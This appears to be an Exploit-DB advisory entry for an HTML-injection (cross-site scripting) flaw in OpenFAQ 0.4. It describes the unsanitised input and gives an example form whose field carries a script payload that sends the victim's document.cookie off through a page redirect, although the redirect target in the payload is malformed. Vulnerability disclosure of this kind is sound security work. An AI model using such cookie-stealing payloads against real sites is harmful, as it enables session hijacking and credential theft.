OpenFAQ 0.4 Validate.PHP HTML Injection Vulnerability

ID EDB-ID:27821
Type exploitdb
Reporter Kamil Sienicki
Modified 2006-05-06T00:00:00


OpenFAQ 0.4 Validate.PHP HTML Injection Vulnerability. CVE-2006-2252. Webapps exploit for php platform


OpenFAQ is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Example exploit: <form action=http://host/openfaq-0.4.0/submit.php?ask=go method=post> <input type=text name=q value="<SCRIPT>document.location=' value='+escape(document.cookie)</SCRIPT>"> <input type=hidden name=email> <input type=submit value=Submit> </form>